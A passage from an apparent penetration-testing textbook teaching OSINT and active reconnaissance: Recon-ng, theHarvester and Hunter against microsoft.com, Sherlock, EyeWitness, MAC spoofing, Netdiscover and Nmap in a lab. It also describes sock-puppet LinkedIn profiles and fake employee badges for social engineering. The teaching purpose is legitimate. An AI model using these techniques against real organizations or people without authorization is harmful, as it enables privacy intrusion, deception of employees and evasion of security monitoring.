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The following screenshot shows how the preceding commands were applied on the module:

Figure 5.66: Generating HTML-format report

19. To view the report, simply go to the output directory such as /home/kali/Desktop and open 
the report HTML file using the web browser, as shown here:

Figure 5.67: Viewing the report

This report provides a very easy-to-understand summary of all the data that was collected using 
Recon-ng. The reporting module plays an excellent role in helping ethical hackers correlate 
data collected during the reconnaissance phase when using Recon-ng to develop a profile 
about the target and identify security vulnerabilities.
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20. Next, to access the web interface of Recon-ng, use the following command on a new Terminal:

kali@kali:~$ recon-web

21. Once the workspace has been initialized, open the web browser within Kali Linux and go to 
http://127.0.0.1:5000/, as shown here:

Figure 5.68: Workspace page at 127.0.0.1:5000

22. As shown in the preceding screenshot, ethical hackers and penetration testers can improve 
their data collection and analysis using the web interface of Recon-ng.

Having completed this exercise, you’ve learned how to leverage Recon-ng to efficiently collect and ana-
lyze OSINT from multiple data sources. Next, you will learn how to use theHarvester for data harvesting.

Data collection with theHarvester
Using a tool such as theHarvester enables to you efficiently collect OSINT to identify sub-domains and 
additional exposed assets of a targeted organization. This tool helps ethical hackers and penetration 
testers to automate the collection of email addresses, sub-domains, hostnames, and employees’ names, 
and identify open ports and banners of systems that are associated with the target.

To get started using theHarvester for data collection, please use the following instructions:

1. Firstly, power on the Kali Linux virtual machine and ensure it has internet connectivity.
2. Next, open the Terminal and use the following command to display the menu for theHarvester:

kali@kali:~$ theHarvester -h

To learn more about Recon-ng and its features, please visit the official GitHub 
repository at https://github.com/lanmaster53/recon-ng.

https://github.com/lanmaster53/recon-ng
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The preceding command displays the help menu and provides a list of various syntaxes and 
how they can be used to retrieve OSINT from online sources. In addition, the help menu pro-
vides a list of various data sources using the -b command.

3. Next, to retrieve a list of sub-domains of a targeted domain, use the following commands:

kali@kali:~$ theHarvester -d microsoft.com -b duckduckgo
kali@kali:~$ theHarvester -d microsoft.com -b dnsdumpster
kali@kali:~$ theHarvester -d microsoft.com -b bing
kali@kali:~$ theHarvester -d microsoft.com -b yahoo
kali@kali:~$ theHarvester -d microsoft.com -b crtsh

The following screenshot shows theHarvester was able to collect multiple sub-domains for 
the targeted domain:

Figure 5.69: Data collection with theHarvester

Having completed this section, you have gained the skills needed to collect OSINT information on 
targeted organizations to identify how they are leaking data such as their internal infrastructure to 
anyone on the internet. In the next section, you will learn how to gather employee OSINT.

Harvesting employees’ data using Hunter
Around the world, employees of many organizations commonly leak and share too much information 
about themselves and their organization without realizing how a threat actor or adversary can collect 
and analyze such information to plan a cyber-attack or improve a threat towards their organizations 
and themselves. Quite often, you’ll notice that many employees of the leadership team for an orga-
nization commonly share their contact details on professional social networking platforms, such as 
the following types of information:

To learn more about the features of theHarvester, please visit the official GitHub repos-
itory at https://github.com/laramies/theHarvester. Some sources require an API 
key to retrieve data from the online database. To learn more about how to add an API 
key to theHarvester, please see https://github.com/laramies/theHarvester/wiki/
Installation#api-keys.

https://github.com/laramies/theHarvester
https://github.com/laramies/theHarvester/wiki/Installation#api-keys
https://github.com/laramies/theHarvester/wiki/Installation#api-keys
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• Full name and job title
• Company’s email address
• Telephone number
• Roles and responsibilities
• Recent projects with technical details
• Pictures of their employee badges

As a penetration tester, it’s quite simple to create an account that will function as a sock puppet on a 
site such as LinkedIn, populate some false information on the account, such as information stating 
you’re an employee who is working at another branch office, and then add some low-level employees 
from the targeted organization as connections. Therefore, other employees of the targeted organization 
will notice your sock puppet profile has mutual connections and may reduce suspicions.

There’s a possibility the employees will automatically accept the connection/friend request because 
they will see that you’re a fellow employee at their company. This will provide some leverage for you 
to connect with the high-profile employees of the targeted organization and enable you to collect 
contact details to plan various social engineering attacks and identify your targets.

Hunter is an online data source that harvests both employee and organizational data from public 
sources on the internet. As an ethical hacker and penetration tester, this is a must-have resource for 
gathering employees’ names, telephone numbers, email addresses, and even their job titles when 
planning a social engineering attack.

To get started using this tool, please use the following instructions: 

1. Firstly, you’ll need to register for a free account at https://hunter.io/ and complete the 
registration process.

2. Once the registration process is completed, log in to the online platform using your user 
credentials.

3. Next, you’ll be presented with the Domain Search field. Here, simply enter a targeted domain, 
as shown here:

Figure 5.70: Domain Search

Sock puppets are covered in Chapter 4, Passive Reconnaissance.

https://hunter.io/
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4. While entering a domain within the Domain Search field, Hunter will provide suggestions for 
your search. I’ve used microsoft.com as an example, as shown here:

Figure 5.71: Suggestions provided by Hunter

As shown in the preceding screenshot, Hunter can provide a list of employees’ information, 
such as their names, email addresses, telephone numbers, and other sources of information. 
In addition, collecting email addresses for targeted organizations helps you to determine the 
format of employees’ email addresses.

Therefore, if an adversary or ethical hacker knows the names of employees, then it’s easy to 
guess the email addresses of various employees. This information is useful when planning 
social engineering, password spraying, and credential stuffing attacks.

The following screenshot shows all the sources that Hunter used to collect the data for a 
specific person:

To learn more about password spraying and credential stuffing attacks, please see 
https://attack.mitre.org/techniques/T1110/003/ and https://attack.
mitre.org/techniques/T1110/004/.

http://microsoft.com
https://attack.mitre.org/techniques/T1110/003/
https://attack.mitre.org/techniques/T1110/004/
https://attack.mitre.org/techniques/T1110/004/


Chapter 5 199

Figure 5.72: Data collection by Hunter

While employees will provide their contact details on various online platforms, including their compa-
ny’s website, such information can be leveraged by a threat actor and a penetration tester to perform 
social engineering attacks against the organization.

Automating social media reconnaissance with Sherlock
Employees of an organization often leak too much information about themselves and their company. 
While many employees are very happy to be working in their organizations, sometimes, they share 
information that can be leveraged by threat actors to improve their attack on a target. As an aspiring 
ethical hacker and penetration tester, collecting and analyzing information from social media platforms 
can be useful in finding employee profiles with weak privacy, which are not secure, and collecting 
any sensitive data from their profiles.

The following is some information that’s commonly leaked:

• Employee contact information, such as telephone numbers and email addresses, which can 
be used during social engineering and account takeover attacks.

• Sharing photos with their employee badges, which can be used by a threat actor to create a 
fake ID for impersonation for physical penetration testing.

• Pictures of an employee’s computing systems and desktop, which can inform a threat actor 
about the available device vendors and operating systems.

• Projects that have been completed by the employee may contain specific technical details, 
which can allow a threat actor to profile the internal network infrastructure.

These are just some of the many types of information that are commonly posted on social media plat-
forms such as LinkedIn. As a penetration tester, you can create a sock puppet, impersonate someone 
on social media, and trick the employees of the targeted organization into performing an action or 
revealing sensitive information (social engineering). Furthermore, imagine performing a physical 
penetration test, where you can print a fake employee ID badge and dress like a typical employee by 
using the information found on the targeted organization’s social media page.

Sherlock is an OSINT tool that helps penetration testers quickly determine whether their target has 
any social media accounts and which platforms the accounts may exist on. This tool supports over 200 
social media websites, automates the process of checking each site, and generates a report of the results.
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To get started using Sherlock for social media reconnaissance, please use the following instructions:

1. Power on the Kali Linux virtual machine, open the Terminal, and use the following commands 
to download Sherlock from its official GitHub repository:

kali@kali:~$ sudo apt update
kali@kali:~$ git clone https://github.com/sherlock-project/Sherlock

2. Next, use the following commands to install the requirements for Sherlock:

kali@kali:~$ cd sherlock
kali@kali:~/sherlock$ python3 -m pip install -r requirements.txt

3. Next, to search for a targeted organization’s social media presence on the internet, use the 
python3 sherlock <username> command, as shown here:

kali@kali:~/sherlock$ python3 sherlock microsoft --timeout 5

Notice the --timeout command was used to instruct Sherlock to not spend more than five 
seconds on any of the social media sites, as shown here:

Figure 5.73: Running Sherlock with the timeout command
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When Sherlock completes the task, the results will be stored in a text file within the present 
working directory, as shown here:

Figure 5.74: File organization by Sherlock

Be sure to check each site within the output file to ensure it is valid and provides meaningful infor-
mation about your target. A penetration tester can use the information that’s been collected to easily 
identify the social media accounts owned by a targeted organization or user. Such information can 
be also used to gather further intelligence on the target.

Having completed this section, you have learned how to automate the data collection process of finding 
user accounts for a targeted organization or person using Sherlock.

Summary 
During this chapter, you have learned how to apply various Google hacking techniques to perform 
advanced search and filtering to identify sensitive directories and exposed resources on the internet. 
In addition, you have gained the hands-on skills needed to perform domain reconnaissance to collect 
and analyze DNS records, perform zone transfer, and identify the sub-domains of a target. Furthermore, 
you have learned how to leverage specialized internet search engines to identify exposed assets of 
companies around the world and gained a better understanding of how OSINT helps ethical hackers 
and penetration testers to develop a profile about their targets.

I trust that the knowledge presented in this chapter has provided you with valuable insights, sup-
porting your path toward becoming an ethical hacker and penetration tester in the dynamic field 
of cybersecurity. May this newfound understanding empower you in your journey, allowing you to 
navigate the industry with confidence and make a significant impact. In the next chapter, Exploring 
Active Reconnaissance, you will learn how to perform active reconnaissance techniques to identify live 
systems, open ports, and running services. 

To learn more about Sherlock, please visit https://github.com/sherlock-project/
sherlock and https://www.kali.org/tools/sherlock/.

https://github.com/sherlock-project/sherlock
https://github.com/sherlock-project/sherlock
https://www.kali.org/tools/sherlock/
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Further reading
• OSINT – https://www.imperva.com/learn/application-security/open-source-

intelligence-osint/

• Top OSINT tools – https://www.csoonline.com/article/567859/what-is-osint-top-open-
source-intelligence-tools.html

• What is WHOIS? – https://www.domaintools.com/support/what-is-whois-information-
and-why-is-it-valuable/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.imperva.com/learn/application-security/open-source-intelligence-osint/
https://www.imperva.com/learn/application-security/open-source-intelligence-osint/
https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html
https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html
https://www.domaintools.com/support/what-is-whois-information-and-why-is-it-valuable/ 
https://www.domaintools.com/support/what-is-whois-information-and-why-is-it-valuable/ 
https://packt.link/SecNet
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Active Reconnaissance

The more information is collected about a target, the more it helps ethical hackers and penetration 
testers improve exploit development during the weaponization phase of the Cyber Kill Chain and 
identify the best method to deliver the malicious payload to the target. Active reconnaissance helps 
you collect information that’s not publicly available, such as which services are running and how many 
ports exist on a targeted system. For instance, if you’re targeting a web server, it’s important to iden-
tify the web application and its version. In addition, it would be useful to also identify the operating 
system that’s hosting the web application.

During this chapter, you will understand the need for active reconnaissance techniques during ethical 
hacking and penetration testing assessments on a target system, network, and organization. You will 
explore active scanning techniques, which are commonly used to identify live systems, their open port, 
and running services. Using fingerprinting techniques, penetration testers can identify the operating 
systems, service versions of running services, and configurations on a targeted system, which helps 
you profile the target and identify their attack surface, which can help improve their plan of attack. 
Lastly, you will learn how to perform enumeration on common network services and identify whether 
an organization is leaking data on its cloud platform.

In this chapter, we will cover the following topics:

• Understanding active information
• Profiling websites using EyeWitness
• Exploring active scanning techniques
• Using scanning evasion techniques
• Enumerating common network services
• Discovering data leaks in the cloud

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• EyeWitness – https://github.com/RedSiege/EyeWitness
• S3Scanner – https://github.com/sa7mon/S3Scanner

If you’re unable to connect to the internet from Kali Linux, use the cat /etc/resolv.conf command 
to determine whether your DNS servers are set correctly on Kali Linux, then use the sudo systemctl 
restart NetworkManager command to restart the Network Manager stack. As a last resort, you can 
restart the Kali Linux operating system.

Understanding active information
Using active reconnaissance techniques enables ethical hackers and penetration testers to use a more 
direct approach when engaging the target. For instance, many active reconnaissance techniques involve 
establishing a logical network connection between your attacker machines, such as Kali Linux, and 
the targeted systems over the network. With active reconnaissance, you can send specially crafted 
probes to collect specific details, for example, by doing the following:

• Determining how many live hosts are on a network
• Determining whether the targeted system is online
• Identifying open port numbers and running services
• Profiling the operating system on the targeted machine
• Identifying whether the targeted system has any network shares

Therefore, before launching any type of network-based attack, it’s important to determine whether 
there are live systems on the network and whether the target is online. Imagine launching an attack 
toward a specific system, only to realize the target is offline and the attack has failed. Hence, it doesn’t 
make sense to target an offline device as it would be unresponsive and increase the risk of detection 
by the organization’s security team.

Compared to adversaries, ethical hackers and penetration testers use similar techniques to simulate 
a real-world cyberattack to identify how a real attacker would collect and leverage information to 
identify security vulnerabilities and compromise their targets.

In the next section, you will learn how to automate the process of taking screenshots of targeted 
domains and systems on a network.

Unlike passive reconnaissance, which leverages open-source intelligence (OSINT) from 
public data sources, using active reconnaissance techniques does increase the risk of being 
detected by the target’s security systems and triggering alerts. Therefore, it’s important to 
consider the threat level for each type of attack during your planning phase.

https://www.kali.org/get-kali/
https://github.com/RedSiege/EyeWitness
https://github.com/sa7mon/S3Scanner
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Profiling websites using EyeWitness
What do you do after discovering additional sub-domains of a targeted organization on the internet? 
A common and obvious practice would be to visit each sub-domain to determine whether it leads to 
a vulnerable web application or system that can be exploited to gain a foothold in the targeted orga-
nization’s network.

However, manually visiting each sub-domain can be quite time-consuming if you need to visit 100+ 
sub-domains for a targeted organization. As an aspiring ethical hacker and penetration tester, using a 
tool such as EyeWitness enables you to automate the process of checking and capturing a screenshot 
of each sub-domain. EyeWitness also has the capability of analyzing the response headers from HTTP 
messages and identifying default credentials in known login pages on a web application.

To get started using EyeWitness, please use the following instructions:

1. Power on the Kali Linux virtual machine, open the Terminal, and use the following command 
to clone the EyeWitness repository:

kali@kali:~$ git clone https://github.com/RedSiege/EyeWitness

2. Next, execute the setup.py script to install EyeWitness by using the following commands:

kali@kali:~$ cd EyeWitness/Python/setup 
kali@kali:~/EyeWitness/Python/setup$ sudo ./setup.sh

Next, use the cd .. command to move up one directory, as shown here:

kali@kali:~/EyeWitness/Python/setup$ cd ..

3. Next, use the following commands to first create a new text file within the /home/kali/ direc-
tory, then write a targeted sub-domain into it:

kali@kali:~/EyeWitness/Python$ touch /home/kali/eyewitness_targets.txt
kali@kali:~/EyeWitness/Python$ echo https://example.com/ > /home/kali/
eyewitness_targets.txt

4. Next, use the following command to enable EyeWitness to capture screenshots of each sub-do-
main found within the eyewitness_targets.txt file:

kali@kali:~/EyeWitness/Python$ ./EyeWitness.py --web -f /home/kali/
eyewitness_targets.txt -d /home/kali/EyeWitness_Screenshots --prepend-
https

The touch <filename> command enables you to create a new file within Linux. 
The echo command allows you to write contents within a file.
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The following is a breakdown of each syntax used in the preceding command:

• --web: This specifies to take HTTP screenshots.
• -f: This specifies the source file with the list of targeted domains and sub-domains.
• -d: This specifies the output directory to save the results and report.
• --prepend-https: This specifies to prepend http:// and https:// to the list of domains 

and sub-domains.

The following screenshot shows the process of capturing the screenshots:

Figure 6.1: Capturing screenshot

5. If you type Y and hit Enter, the EyeWitness report will automatically load and open within the 
web browser, as shown here:

Figure 6.2: EyeWitness report

As you have seen, using a tool such as EyeWitness can save you a lot of time as compared to checking 
each sub-domain manually. You can quickly browse each image within the generated report to identify 
any login portals and sensitive directories on a targeted domain.
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Having completed this section, you have learned how to automate the process of capturing screen-
shots of many websites using EyeWitness. In the next section, you will explore various scanning and 
fingerprinting techniques.

Exploring active scanning techniques
As an aspiring ethical hacker and penetration tester, it’s essential to develop a solid foundation on 
understanding how to leverage active scanning techniques to efficiently discover and profile targeted 
systems on an organization’s network. Unlike passive reconnaissance, active reconnaissance focuses 
on sending special probes directly to a targeted system to retrieve specific information, which isn’t 
available from OSINT data source. In addition, active scanning helps us identify accurate information 
about the target, while some OSINT data sources may not have the latest version of the information.

Many organizations focus on securing their perimeter network and sometimes do not apply equal focus 
on securing their internal network (of the cyberattacks I’ve encountered in my career, 90% usually 
originate from inside the network). Due to this, many organizations think the attacker will launch 
their attack from the internet, which will then be blocked by their network-based firewall.

The following diagram shows a simplified overview of a typical deployment of a firewall:

Figure 6.3: Network-based firewall

As shown in the preceding diagram, the network-based firewall is implemented as the edge device 
between the organization’s internal network and the internet. One of its roles is to filter traffic between 
different networks and prevent malicious traffic from passing through. This includes blocking malicious 
traffic from the internet intended for internal systems on the organization’s network and vice versa. 

To learn more about EyeWitness, please see https://github.com/RedSiege/EyeWitness 
and use the ./EyeWitness.py –h command to view the help menu.

https://github.com/RedSiege/EyeWitness
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However, threat actors are continuously learning how organizations implement their infrastructure 
and security solutions, as well as the decisions that both the leadership team and IT professionals 
make when securing their assets.

While many organizations are investing in their cyber defenses to ensure their assets and people are 
protected from adversaries and cyberattacks, there are still so many organizations around the world 
without firewalls, misconfigured network devices and security appliances, and unpatched operating 
systems. Metaphorically speaking, it’s only a matter of time before an adversary discovers this gold 
mine and starts living off the land. During the reconnaissance phase of the Cyber Kill Chain and com-
mon penetration testing methodology, ethical hackers and penetration testers will eventually need to 
directly engage with the target to collect information that is not available from OSINT and use active 
reconnaissance techniques such as scanning and enumeration.

Scanning is a technique that’s used by threat actors to discover live systems on a network, identify the 
open service ports on a system, and discover vulnerabilities on host machines and even their operating 
system architecture. The information that’s gathered from scanning helps the penetration tester gain 
a clearer view of their targets compared to passive information gathering.

Penetration testers always need to improve their critical thinking mindset to think like a real threat 
actor, especially if they want to perform a successful penetration test on a targeted organization. In 
addition, they should develop problem-solving skills, analytical thinking, creativity in bypassing 
security measures, and adaptability to the evolving security landscape. In the following subsections, 
you will learn about various techniques and methodologies for performing scanning on a targeted 
network and how to profile systems.

Changing your MAC address
The Network Interface Card (NIC) is a network adapter that enables a system to communicate over a 
wired or wireless network. For instance, before your devices send data on a network, the NIC converts 
the message into a signal that’s supported over the media for transmission, such as electrical signals 
for copper cables, light signals for fiber optics, and radio frequency for wireless communication. In 
addition, the NIC on each device contains a globally unique Media Access Control (MAC) address, 
sometimes referred to as a burned-in address, that’s theoretically not changeable. 

Before a device transmits data over a network, the sender device automatically inserts the source 
and destination MAC address onto the frame header of the message. The source MAC address helps 
the recipient identify the sender of the message, and the destination MAC address helps the network 
switch forward the message to the intended destination. However, if the destination MAC address 
is unknown by the sender device, the sender device will broadcast an Address Resolution Protocol 
(ARP) request message to the network. Only the device with the targeted MAC address will respond, 
providing its MAC address.

Do not perform any type of scanning on systems and networks that you do not own or have 
legal permission to do so. Scanning is considered illegal in many countries.
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The MAC address is a 48-bit address written in hexadecimal. The first 24 bits of the address are known 
as the Organizationally Unique Identifier (OUI), which helps IT professionals determine the vendor of 
a device, while the last 24 bits are uniquely assigned by the vendor. Therefore, when your NIC sends 
traffic out on a network, your real MAC address is also inserted within the frame header, and this 
information can be used to identify your machine on a network.

As an aspiring penetration tester, you can change the MAC address on both your Ethernet and wireless 
network adapters by using a pre-installed tool known as MAC Changer. Changing your MAC address 
allows you to trick other devices on the network into thinking your system is a common device that 
belongs within the organization’s network infrastructure, such as a network device, a printer, or a 
vendor-specific device. This technique is commonly used to protect the identity of your attacker ma-
chine, bypass MAC filtering rules on network devices, and evade network restrictions while on your 
target’s network.

To learn how to change your MAC address using MAC Changer, please use the following instructions:

1. Power on the Kali Linux virtual machine and use the ifconfig command to determine the 
original MAC address on your network adapters, as shown here:

Figure 6.4: Checking network interfaces

The Neighbor Discovery Protocol (NDP) is used on IPv6 networks for address resolution.

While changing a MAC address can evade some network restrictions, it is not a foolproof 
method for anonymity or bypassing security measures. Network monitoring tools can 
detect anomalies in traffic patterns.
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As shown in the preceding screenshot, the ifconfig command was used to display all of the 
connected network adapters on the Kali Linux virtual machine. In addition, this command 
enables us to view the original MAC address on each network adapter, within the ether field.

2. Next, logically turn down the eth0 interface with the following commands:

kali@kali:~$ sudo ifconfig eth0 down

3. Next, use the macchanger --help command to view a list of available options, as shown here:

Figure 6.5: MAC Changer options

4. Next, set a randomized MAC address on the eth0 network adapter by using the following 
command:

kali@kali:~$ sudo macchanger -A eth0

The following screenshot shows the current, permanent, and the newly generated MAC ad-
dresses for the eth0 network adapter:

Figure 6.6: Changing MAC address

5. Next, re-enable the eth0 interface by using the following command:

kali@kali:~$ sudo ifconfig eth0 up

6. Next, use the ifconfig command once more to verify that eth0 has a spoofed MAC address, 
as shown here:
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Figure 6.7: Using the ifconfig eth0 command for verification

7. Lastly, to further verify the vendor of the spoofed MAC address, go to https://macvendors.
com/ and enter the MAC address, as shown here:

Figure 6.8: Verifying the vendor

Having completed this exercise, you have learned how to spoof your MAC address on Kali Linux. 
However, it’s important to consider using a MAC address that’s associated with a common vendor 
of networking devices or systems to reduce the risk of detection by the organization’s security team. 
Next, you will learn how to perform host discovery to identify live systems on an internal network.

Performing live host discovery
Discovering live hosts on a targeted network is an essential stage when performing a penetration test. 
Let’s imagine you’re an ethical hacker or a penetration tester; your targeted organization permits you 
to directly connect your attacker’s machine with Kali Linux on their network to perform security test-
ing on their internal network. You’re eager to start discovering security vulnerabilities and hacking 
systems, but you’re not sure whether the targeted hosts are online.

In this section, you will learn about the skills you will need to perform various types of active recon-
naissance on an organization’s networks using various tools and techniques. However, to ensure you 
can perform these exercises in a safe space, please use the following guidelines:

• Ensure you do not scan systems that you do not own or have been granted legal permission.
• Ensure the network adapter of Kali Linux is assigned to the PentestNet network within Oracle 

VM VirtualBox Manager.
• The PentestNet network will be our simulated organization network.

https://macvendors.com/
https://macvendors.com/
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To get started with this exercise, please use the following instructions:

1. Power on the Kali Linux, Metasploitable 2, and Metasploitable 3 (Windows version) virtual 
machines.

2. On Kali Linux, open the Terminal and use the ifconfig or ip address command to de-
termine whether your attacker machine (Kali Linux) is connected to the targeted network 
(172.30.1.0/24), as shown here:

Figure 6.9: Checking your network

As an aspiring ethical hacker and penetration tester, it’s important to verify whether your 
attacker machine has a valid IP address and subnet mask on the targeted network during the 
internal network penetration test. As shown in the preceding screenshot, eth1 is connected 
to the PentestNet environment, which is our targeted network.

Additionally, the inet field contains the IP address that’s assigned on the interface of the Kali 
Linux virtual machine. However, the IP address shown in the preceding screenshot may be 
different from the address shown on your machine; that’s okay once it’s on the 172.30.1.0/24 
network. Furthermore, identifying the IP address on the network adapter will enable us to 
exclude scanning our own machine in the next steps.

Keep in mind that wired network adapters are identified with eth, and wireless 
adapters are identified with wlan.

Ethical hackers and penetration testers often need to determine the network ID 
and range of IP addresses within a network before performing host discovery on an 
internal network. While it’s recommended to build a solid foundation on network-
ing prior to learning about cybersecurity and penetration testing, the following 
website is an online subnet calculator that will help you determine the IP ranges 
and much more: https://www.calculator.net/ip-subnet-calculator.html.

https://www.calculator.net/ip-subnet-calculator.html
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3. Next, we can install a command-line tool to help us quickly determine the IP subnet details 
for a network, use the following command to install sipcalc:

kali@kali:~$ sudo apt install -y sipcalc

4. Next, to calculate the network address, network range, and broadcast address of the 
172.30.1.0/24 network, please use the following command:

kali@kali:~$ sipcalc 172.30.1.0/24

As shown in the following screenshot, sipcalc was able to calculate the network range for us:

Figure 6.10: Network range

5. Next, let’s use Netdiscover to passively scan for live systems on the PentestNet environment 
(172.30.1.0/24), using the following command:

kali@kali:~$ sudo netdiscover -p -i eth1

The -i syntax is commonly used to specify the listening interface, and using the -p syntax 
performs a passive scan by enabling Netdiscover to capture and analyze ARP messages on a 
network by analyzing the source and destination IP and MAC addresses, which helps us to 
identify live hosts on a network, as shown here:

Figure 6.11: Live hosts on a network
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As shown in the preceding screenshot, Netdiscover provided the IP addresses, MAC address-
es, vendors, and hostnames of the live systems on the targeted network. Where 172.30.1.48 
is assigned to Metasploitable 3 – (Windows version) and 172.30.1.49 is assigned to the 
Metasploitable 2 virtual machine. Furthermore, leveraging the MAC vendor information helps 
us determine the type of devices on the network and can be useful when researching security 
vulnerabilities for a specific system.

6. Next, to perform an active host discovery scan using Netdiscover, use the following command:

kali@kali:~$ sudo netdiscover -r 172.30.1.0/24 -i eth1

Since the active scan does not wait for the ARP message, Netdiscover sends its own probes 
to all usable IP addresses within the 172.30.1.0/24 network. Only live systems will respond, 
enabling Netdiscover to analyze each response message to identify the IP and MAC addresses 
of live hosts on the network, as shown here:

Figure 6.12: Netdiscover host discovery

7. Next, let’s use Network Mapper (Nmap) to perform a ping sweep over the entire targeted network 
and exclude our attacker machine during the scanning process. Use the following commands:

kali@kali:~$ nmap -sn 172.30.1.0/24 --exclude 172.30.1.50

A ping sweep is a basic scanning technique that’s used by IT professionals to determine which 
systems are online within a network. It’s the automated process of pinging each usable IP ad-
dress within a network and observing which devices are responding. However, the ping utility 
within an operating system sends the Internet Control Message Protocol (ICMP) ECHO Request 
message to the destination and a live system will respond with an ICMP ECHO Reply message.

It’s a common security practice for cybersecurity professionals to disable ICMP responses on 
critical systems within their organization. This reduces the likelihood that a novice hacker is to 
discover a live host. Therefore, if an attacker sends ICMP ECHO Request messages to a system 
that’s configured to not respond, the novice attacker will think the target is offline. 

To learn more about Netdiscover, please visit https://github.com/netdiscover-
scanner/netdiscover.

https://github.com/netdiscover-scanner/netdiscover
https://github.com/netdiscover-scanner/netdiscover
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On the other hand, seasoned threat actors and penetration testers who understand the security 
vulnerabilities that exist within the Transmission Control Protocol/Internet Protocol (TCP/IP) 
networking model can bypass this minor security mechanism and instead send TCP messages 
to specific ports on the targeted system. This technique leverages the design of the TCP and 
tricks the targeted system into responding, indicating it’s live on the network.

The following screenshot shows there are 2 live hosts, 172.30.1.48 and 172.30.1.49, on the 
network:

Figure 6.13: Ping sweep using Nmap

The -sn syntax on Nmap is used to specify a ping scan but Nmap does not send ICMP messages 
to the target. Instead, Nmap sends TCP messages to specific ports on the targeted system, as 
shown in the Wireshark packet capture here:

Figure 6.14: Wireshark packet capture

Nmap sends specially crafted TCP synchronization (SYN) packets to the targeted host, with 
the intention of triggering a TCP reset (RST) or TCP acknowledgment (ACK) as a response 
from a live/online host.

To learn more about how the TCP establishes a connection with a destination host using 
the TCP three-way handshake, please see https://hub.packtpub.com/understanding-
network-port-numbers-tcp-udp-and-icmp-on-an-operating-system/.

https://hub.packtpub.com/understanding-network-port-numbers-tcp-udp-and-icmp-on-an-operating-system/
https://hub.packtpub.com/understanding-network-port-numbers-tcp-udp-and-icmp-on-an-operating-system/
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Identifying live hosts on a network helps ethical hackers and penetration testers create a network 
topology and identify whether their targets are online before proceeding to profile the targets. Next, 
you will learn how to identify open ports and running services and determine the operating system 
of a target.

Identifying open ports, services, and operating systems
After performing host discovery, the next step is to identify any open ports on the targeted system and 
determine which services are mapped to those open ports. There are various techniques that a pen-
etration tester can use to identify the open ports on a targeted system. Some techniques are manual, 
while others can simply be automated using the Nmap tool.

To get started fingerprinting using Nmap, please use the following instructions:

1. Firstly, ensure the Kali Linux, Metasploitable 2 and Metasploitable 3 (Windows version) virtual 
machines are powered on.

2. On Kali Linux, open the Terminal and use the following commands to perform a basic Nmap 
scan to determine whether any of the top 1,000 ports are open on the Metasploitable 3 (Win-
dows version) virtual machine:

kali@kali:~$ nmap 172.30.1.48

As shown in the following screenshot, Nmap indicates there are 20 TCP open ports and provides 
the name of their associated services:

Figure 6.15: Discovering open ports

Using the information from this scan enables you to start fingerprinting your targeted systems. 
As a penetration tester, you can determine which ports are open and discover how they can 
be used as a point of entry into the target and look for security vulnerabilities on the running 
services.
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3. Next, let’s perform an advanced scan to identify the targeted system’s operating system and ser-
vice versions and retrieve Server Message Block (SMB) details, using the following command:

kali@kali:~$ nmap -A -T4 -p- 172.30.1.48

Let’s take a look at each syntax that was used in the preceding command:

• -A: This enables Nmap to profile the target to identify its operating system, service 
versions, and script scanning, as well as perform a traceroute.

• -T: This syntax specifies the timing options for the scan, which ranges from 0–5, where 
0 is very slow and 5 is the fastest. This command is useful for preventing too many 
probes from being sent to the targeted system too quickly, which may trigger alerts.

• -p: Using the -p syntax allows you to specify the targeted ports to identify them as open 
or closed on a system. You can specify -p80 to scan for port 80 only on the target and 
-p- to scan for all 65,535 open ports.

As an aspiring ethical hacker and penetration tester, it’s okay if you don’t initially 
understand the role and function of service ports on a system. However, it is 
recommended to perform research on anything you’re not familiar with to gain 
a better understanding of the technology or topic. For instance, there are many 
service ports and each is associated with a specific application-layer service, such 
as TCP port 443 being associated with the Hypertext Transfer Protocol Secure 
(HTTPS) protocol that’s used for secure web communication.

By default, Nmap scans TCP ports only. Therefore, if a target is running a service on a 
User Datagram Protocol (UDP) server port, there’s a possibility you will miss it. To per-
form a UDP scan on a port or range of ports, use the -p U:53 command, where 53 is the 
targeted UDP port number.
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The following screenshot shows the upper portion of the scan results:

Figure 6.16: Scan result

As shown in the preceding screenshot, Nmap was able to retrieve a lot more in-depth information 
about our target, such as the service versions of each service that is associated with an open port. It 
was also able to perform banner grabbing and determine whether there’s an authentication system/
login mechanism for each service.

The following screenshot is the remaining portion of the same scan results:

Figure 6.17: Operating system profiling
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As shown in the preceding screenshot, Nmap was able to identify the host operating system on the 
target as a Windows Server 2008 R2 machine with Service Pack 1. In addition, Nmap was able to 
determine the hostname of the system and whether it’s connected to a domain or not based on the 
workgroup name. Whenever a Windows-based system is not connected to a domain controller (DC), 
the default Workgroup is called Workgroup. Furthermore, the Nmap scan was able to perform a basic 
SMB scan to identify the operation system, which also indicates that the targeted system may have 
file and printer shares available.

The following are additional syntaxes that can be used during the scanning process with Nmap:

• -Pn: This syntax enables Nmap to perform a scan on the targeted systems without first perform-
ing host discovery, and simply considers the target to be online.

• -sU: This syntax enables Nmap to perform UDP port scanning on the targeted systems. This 
command will be useful in identifying whether there are any running services on UDP ports 
as compared to TCP port numbers.

• -p: This syntax allows you to specify either a range of targeted ports or specific ports that are 
open on a system. Using nmap -p 50-60, nmap -p 80,443, or nmap -p 22 allows you to scan 
a range, a group, or specific port numbers. However, using nmap -p- specifies to scanning all 
65,535 port numbers, but keep in mind that Nmap scans TCP ports by default.

• -sV: This syntax enables you to perform service version identification of running services on a 
targeted system. For instance, an Nmap basic scan may indicate port 23 is open and associated 
with the Telnet. As an ethical hacker, it is important to determine the service version of this 
running service. Therefore, using the nmap -sV <targeted system> command will identify 
the service version, which can be useful when researching security vulnerabilities on a target.

• -6: Using this syntax enables Nmap to perform scans on a targeted IPv6 network or a host with 
an IPv6 address.

Additionally, ethical hackers and penetration testers can use the ping utility to profile the operating 
system of a target by analyzing the time-to-live (TTL) value found within the ICMP response messages 
from the target. For instance, Windows-based operating systems reply with a default TTL value of 128, 
while Linux-based systems reply with a default TTL value of 64.

To better understand how ICMP helps us identify the operating system of a targeted machine, please 
use the following instructions:

1. On Kali Linux, use the following commands to send 4 ICMP ECHO Request messages to the 
Metasploitable 3 (Windows version) virtual machine:

kali@kali:~$ ping 172.30.1.48 -c 4

To learn more about the TTL value within an IP packet, please visit https://www.
techtarget.com/searchnetworking/definition/time-to-live.

